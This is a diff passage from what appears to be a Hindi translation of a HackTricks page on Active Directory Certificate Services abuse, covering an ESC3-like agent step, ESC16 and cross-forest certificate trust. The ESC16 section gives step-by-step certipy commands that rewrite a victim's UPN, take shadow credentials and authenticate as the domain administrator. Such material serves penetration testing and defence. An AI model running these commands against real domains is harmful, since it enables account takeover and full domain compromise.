'attacker@corp.local' -p 'Passw0rd!' \ @@ -782,9 +804,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` को इंजेक्ट करता है। +- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` को इंजेक्ट करता है. -**चरण 2: एक लक्षित विशेषाधिकार प्राप्त उपयोगकर्ता की ओर से एक प्रमाणपत्र के लिए "एजेंट" प्रमाणपत्र का उपयोग करें।** यह एक ESC3-जैसा चरण है, चरण 1 से प्रमाणपत्र का उपयोग करते हुए एजेंट प्रमाणपत्र के रूप में। +**चरण 2: "agent" सर्टिफिकेट का उपयोग किसी लक्षित विशेषाधिकार प्राप्त उपयोगकर्ता की ओर से सर्टिफिकेट अनुरोध करने के लिए करें।** यह एक ESC3-like चरण है, जिसमें चरण 1 से सर्टिफिकेट को agent सर्टिफिकेट के रूप में उपयोग किया जा रहा है. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -796,48 +818,48 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## CA पर Security Extension अक्षम (वैश्विक)-ESC16 -### Explanation +### व्याख्या -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** उस परिदृश्य को संदर्भित करता है जहाँ, यदि AD CS की कॉन्फ़िगरेशन सभी प्रमाणपत्रों में **szOID_NTDS_CA_SECURITY_EXT** एक्सटेंशन को शामिल करने को लागू नहीं करती है, तो एक हमलावर इसका लाभ उठा सकता है: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** का मतलब उस स्थिति से है जहाँ, यदि Active Directory Certificate Services (AD CS) की configuration सभी certificates में **szOID_NTDS_CA_SECURITY_EXT** extension को शामिल करने को बाध्य नहीं करती, तो एक attacker इसका शोषण कर सकता है: -1. एक प्रमाणपत्र **बिना SID बाइंडिंग** के अनुरोध करना। +1. एक certificate का अनुरोध करना **without SID binding**। -2. इस प्रमाणपत्र का **किसी भी खाते के रूप में प्रमाणीकरण के लिए उपयोग करना**, जैसे कि एक उच्च-विशेषाधिकार खाते (जैसे, एक डोमेन प्रशासक) का अनुकरण करना। +2. इस certificate का उपयोग **for authentication as any account** के लिए करना, जैसे कि किसी उच्च-privilege अकाउंट (उदा., Domain Administrator) के रूप में impersonate करना। -आप इस लेख को और अधिक विस्तृत सिद्धांत जानने के लिए देख सकते हैं: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +आप अधिक विवरणात्मक सिद्धांत जानने के लिए इस article को भी देख सकते हैं: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### दुरुपयोग -निम्नलिखित [इस लिंक](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) का संदर्भित है, अधिक विस्तृत उपयोग विधियों को देखने के लिए क्लिक करें। +निम्न [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) में संदर्भित है, अधिक विस्तृत उपयोग विधियाँ देखने के लिए क्लिक करें। -यह पहचानने के लिए कि क्या Active Directory Certificate Services (AD CS) वातावरण **ESC16** के प्रति संवेदनशील है +यह पहचानने के लिए कि Active Directory Certificate Services (AD CS) environment **ESC16** के लिए vulnerable है या नहीं ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**चरण 1: पीड़ित खाते का प्रारंभिक UPN पढ़ें (वैकल्पिक - पुनर्स्थापन के लिए)।** +**कदम 1: लक्षित खाते का प्रारंभिक UPN पढ़ें (वैकल्पिक - पुनर्स्थापना के लिए).** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` पर अपडेट करें।** +**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` के अनुरूप अपडेट करें।** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**चरण 3: (यदि आवश्यक हो) "शिकार" खाते के लिए क्रेडेंशियल प्राप्त करें (जैसे, Shadow Credentials के माध्यम से)।** +**चरण 3: (यदि आवश्यक हो) "victim" खाते के लिए credentials प्राप्त करें (उदा., Shadow Credentials के माध्यम से).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**चरण 4: ESC16-खतरे में पड़े CA पर _किसी भी उपयुक्त क्लाइंट प्रमाणीकरण टेम्पलेट_ (जैसे, "उपयोगकर्ता") से "पीड़ित" उपयोगकर्ता के रूप में एक प्रमाणपत्र का अनुरोध करें।** क्योंकि CA ESC16 के प्रति संवेदनशील है, यह जारी किए गए प्रमाणपत्र से SID सुरक्षा विस्तार को स्वचालित रूप से छोड़ देगा, भले ही इस विस्तार के लिए टेम्पलेट की विशिष्ट सेटिंग्स क्या हों। Kerberos क्रेडेंशियल कैश पर्यावरण चर सेट करें (शेल कमांड): +**Step 4: ESC16-vulnerable CA पर _any suitable client authentication template_ (e.g., "User") से "victim" user के रूप में एक certificate request करें।** CA ESC16 के लिए vulnerable होने के कारण, जारी किए गए certificate से SID security extension को यह स्वतः हटा देगा, भले ही template की specific settings इस extension के लिए कुछ भी हों। Set the Kerberos credential cache environment variable (shell command): ```bash export KRB5CCNAME=victim.ccache ``` @@ -848,34 +870,36 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**चरण 5: "शिकार" खाते का UPN वापस करें।** +**चरण 5: "victim" खाता का UPN पूर्ववत करें.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**चरण 6: लक्षित प्रशासक के रूप में प्रमाणीकरण करें।** +**चरण 6: लक्षित प्रशासक के रूप में प्रमाणीकृत करें।** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## प्रमाणपत्रों के साथ जंगलों का समझौता निष्क्रिय वॉयस में समझाया गया +## प्रमाणपत्रों द्वारा फॉरेस्ट का समझौता — Passive Voice में समझाया गया -### समझौता किए गए CAs द्वारा जंगलों के विश्वासों का टूटना +### Compromised CAs द्वारा फॉरेस्ट ट्रस्ट्स का टूटना -**क्रॉस-फॉरेस्ट नामांकन** के लिए कॉन्फ़िगरेशन को अपेक्षाकृत सरल बनाया गया है। **रूट CA प्रमाणपत्र** को संसाधन जंगल से **खाता जंगलों में प्रकाशित** किया जाता है, और संसाधन जंगल से **एंटरप्राइज CA** प्रमाणपत्रों को **प्रत्येक खाता जंगल में `NTAuthCertificates` और AIA कंटेनरों में जोड़ा जाता है**। स्पष्ट करने के लिए, यह व्यवस्था **संसाधन जंगल में CA को सभी अन्य जंगलों पर पूर्ण नियंत्रण** देती है जिनका वह PKI प्रबंधित करता है। यदि इस CA को **हमलावरों द्वारा समझौता किया जाता है**, तो संसाधन और खाता जंगलों में सभी उपयोगकर्ताओं के लिए प्रमाणपत्रों को **उनके द्वारा जाली बनाया जा सकता है**, जिससे जंगल की सुरक्षा सीमा टूट जाती है। +The configuration for **cross-forest enrollment** अपेक्षाकृत सरल बनाई जाती है। resource forest से **root CA certificate** administrators द्वारा **account forests में प्रकाशित** किया जाता है, और resource forest के **enterprise CA** certificates प्रत्येक account forest में `NTAuthCertificates` और AIA containers में **जोड़े** जाते हैं। स्पष्ट करने के लिए, यह व्यवस्था resource forest के **CA** को उन सभी अन्य फॉरेस्ट्स पर पूर्ण नियंत्रण देती है जिनके लिए यह **PKI** प्रबंधित करता है। यदि इस CA को attackers द्वारा **compromised** किया जाता है, तो resource और account दोनों फॉरेस्ट्स के सभी उपयोगकर्ताओं के लिए certificates उनके द्वारा **forged** किए जा सकते हैं, और इस प्रकार फॉरेस्ट की सुरक्षा सीमा तोड़ी जा सकती है। -### विदेशी प्रिंसिपलों को दिए गए नामांकन विशेषाधिकार +### Enrollment Privileges Granted to Foreign Principals -मल्टी-फॉरेस्ट वातावरण में, एंटरप्राइज CAs के संबंध में सावधानी बरतने की आवश्यकता है जो **प्रमाणपत्र टेम्पलेट्स प्रकाशित करते हैं** जो **प्रमाणित उपयोगकर्ताओं या विदेशी प्रिंसिपलों** (उपयोगकर्ता/समूह जो उस जंगल के बाहर हैं जिसमें एंटरप्राइज CA है) को **नामांकन और संपादन अधिकार** प्रदान करते हैं।\ -एक विश्वास के पार प्रमाणीकरण के बाद, **प्रमाणित उपयोगकर्ताओं का SID** AD द्वारा उपयोगकर्ता के टोकन में जोड़ा जाता है। इसलिए, यदि एक डोमेन में एक एंटरप्राइज CA है जिसमें एक टेम्पलेट है जो **प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार** देता है, तो एक उपयोगकर्ता **एक अलग जंगल से टेम्पलेट में नामांकित** हो सकता है। इसी तरह, यदि **एक टेम्पलेट द्वारा एक विदेशी प्रिंसिपल को स्पष्ट रूप से नामांकन अधिकार दिए जाते हैं**, तो **एक क्रॉस-फॉरेस्ट एक्सेस-कंट्रोल संबंध इस प्रकार बनाया जाता है**, जिससे एक जंगल से एक प्रिंसिपल को **दूसरे जंगल के टेम्पलेट में नामांकित** करने की अनुमति मिलती है। +multi-forest environments में, उन Enterprise CAs के मामले में सावधानी आवश्यक है जो **publish certificate templates** करते हैं जो **Authenticated Users या foreign principals** (उस फॉरेस्ट के बाहरी users/groups जिनके लिए Enterprise CA संबंधित है) को **enrollment और edit rights** की अनुमति देते हैं.\ +trust के पार authentication होने पर, AD द्वारा उपयोगकर्ता के token में **Authenticated Users SID** जोड़ा जाता है। इसलिए, यदि किसी domain के पास ऐसा Enterprise CA है जिसमें एक template है जो **Authenticated Users को enrollment rights देता है**, तो वह template संभवतः किसी अन्य फॉरेस्ट के उपयोगकर्ता द्वारा **enrolled** किया जा सकता है। इसी तरह, यदि किसी template द्वारा स्पष्ट रूप से किसी foreign principal को **enrollment rights** दिए जाते हैं, तो इससे एक **cross-forest access-control relationship** बन जाती है, जिससे एक फॉरेस्ट का प्रिंसिपल दूसरे फॉरेस्ट के template में **enroll** कर सकता है। -दोनों परिदृश्यों से एक जंगल से दूसरे जंगल में **हमले की सतह में वृद्धि** होती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स को एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। +दोनों परिदृश्य एक फॉरेस्ट से दूसरे फॉरेस्ट तक **attack surface** में वृद्धि की ओर ले जाते हैं। certificate template की settings का एक attacker द्वारा शोषण करके किसी foreign domain में अतिरिक्त privileges प्राप्त किए जा सकते हैं। ## संदर्भ - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}